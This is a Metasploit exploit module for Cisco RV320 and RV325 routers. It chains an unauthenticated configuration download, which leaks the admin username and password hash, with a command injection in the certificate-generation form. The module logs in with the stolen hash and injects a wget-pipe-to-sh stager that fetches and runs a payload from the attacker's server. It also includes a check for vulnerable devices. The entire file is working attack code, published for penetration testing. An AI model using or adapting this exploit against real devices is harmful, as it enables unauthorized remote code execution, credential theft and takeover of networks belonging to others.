1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 |
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::CmdStager def initialize(info={}) super(update_info(info, 'Name' => "Cisco RV320 and RV325 Unauthenticated Remote Code Execution", 'Description'=> %q{ This exploit module combines an information disclosure (CVE-2019-1653) and a command injection vulnerability (CVE-2019-1652) together to gain unauthenticated remote code execution on Cisco RV320 and RV325 small business routers. Can be exploited via the WAN interface of the router. Either via HTTPS on port 443 or HTTP on port 8007 on some older firmware versions. }, 'License'=> MSF_LICENSE, 'Author' => [ 'RedTeam Pentesting GmbH', # Discovery, Metasploit 'Philip Huppert',# Discovery 'Benjamin Grap'# Metasploit ], 'References' => [ [ 'CVE','2019-1653' ], [ 'CVE','2019-1652' ], [ 'EDB','46243' ], [ 'BID','106728' ], [ 'BID','106732' ], [ 'URL', 'https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-002/-cisco-rv320-unauthenticated-configuration-export' ], [ 'URL', 'https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-004/-cisco-rv320-command-injection' ] ], 'Platform' => 'linux', 'Targets'=> [ [ 'LINUX MIPS64', { 'Platform' => 'linux', 'Arch' => ARCH_MIPS64 } ] ], 'Payload'=> { 'BadChars' => "" }, 'CmdStagerFlavor' => [ 'bourne' ], 'Privileged' => true, 'DisclosureDate' => "Sep 9 2018", 'DefaultTarget'=> 0)) register_options([ Opt::RPORT(8007), # port of Cisco webinterface OptString.new('URIPATH', [true, 'The path for the stager. Keep set to default! (We are limited to 50 chars for the initial command.)', '/']), OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 15]), OptBool.new('USE_SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]) # Don't use 'SSL' option to prevent HttpServer from picking this up. ]) deregister_options('SSL') # prevent SSL in HttpServer and resulting payload requests since the injected wget command will not work with '--no-check-certificate' option. deregister_options('SSLCert') # not required since stager only uses HTTP. end def execute_command(cmd, opts = {}) # use generated payload, we don't have to do anything here end def autofilter true end def on_request_uri(cli, req) print_status("#{peer} - Payload request received: #{req.uri}") @cmdstager = generate_cmdstager().join(';') send_response(cli, "#{@cmdstager}") end def primer payload_url = get_uri print_status("Downloading configuration from #{peer}") if(datastore['USE_SSL']) print_status("Using SSL connection to router.") end res = send_request_cgi({ 'uri' => normalize_uri("cgi-bin","config.exp"), 'SSL' => datastore['USE_SSL'] }) unless res vprint_error('Connection failed.') return nil end unless res.code == 200 vprint_error('Could not download config. Aborting.') return nil end print_status("Successfully downloaded config") username = res.body.match(/^USERNAME=([a-zA-Z]+)/)[1] pass = res.body.match(/^PASSWD=(\h+)/)[1] authkey = "1964300002" print_status("Got MD5-Hash: #{pass}") print_status("Loging in as user #{username} using password hash.") print_status("Using default auth_key #{authkey}") res2 = send_request_cgi({ 'uri' => normalize_uri("cgi-bin","userLogin.cgi"), 'SSL' => datastore['USE_SSL'], 'method' => 'POST', 'data' => "login=true&portalname=CommonPortal&password_expired=0&auth_key=#{authkey}&auth_server_pw=Y2lzY28%3D&submitStatus=0&pdStrength=1&username=#{username}&password=#{pass}&LanguageList=Deutsch¤t_password=&new_password=&re_new_password=" }) unless res vprint_error('Connection failed during login. Aborting.') return nil end unless res.code == 200 vprint_error('Login failed with downloaded credentials. Aborting.') return nil end #Extract authentication cookies cookies = res2.get_cookies() print_status("Successfully logged in as user #{username}.") print_status("Got cookies: #{cookies}") print_status("Sending payload. Staging via #{payload_url}.") #Build staging command command_string = CGI::escape("'$(wget -q -O- #{payload_url}|sh)'") if(command_string.length <= 63) print_status("Staging command length looks good. Sending exploit!") else vprint_error("Warning: Staging command length probably too long. Trying anyway...") end res3 = send_request_cgi({ 'uri' => normalize_uri("certificate_handle2.htm"), 'SSL' => datastore['USE_SSL'], 'method' => 'POST', 'cookie' => cookies, 'vars_get' => { 'type' => '4', }, 'vars_post' => { 'page' => 'self_generator.htm', 'totalRules' => '1', 'OpenVPNRules' => '30', 'submitStatus' => '1', 'log_ch' => '1', 'type' => '4', 'Country' => 'A', 'state' => 'A', 'locality' => 'A', 'organization' => 'A', 'organization_unit' => 'A', 'email' => 'any@example.com', 'KeySize' => '512', 'KeyLength' => '1024', 'valid_days' => '30', 'SelectSubject_c' => '1', 'SelectSubject_s' => '1' }, 'data' => "common_name=#{command_string}" }) unless res3 vprint_error('Connection failed while sending command. Aborting.') return nil end unless res3.code == 200 vprint_error('Sending command not successful.') return nil end print_status("Sending payload timed out. Waiting for stager to connect...") end def check #Check if device is vulnerable by downloading the config res = send_request_cgi({'uri'=>normalize_uri("cgi-bin","config.exp")}) unless res vprint_error('Connection failed.') return CheckCode::Unknown end unless res.code == 200 return CheckCode::Safe end unless res.body =~ /PASSWD/ return CheckCode::Detected end CheckCode::Vulnerable end def exploit # Main function. # Setting delay for the Stager. Timeout.timeout(datastore['HTTPDELAY']) {super} rescue Timeout::Error print_status("Waiting for stager connection timed out. Try increasing the delay.") end end |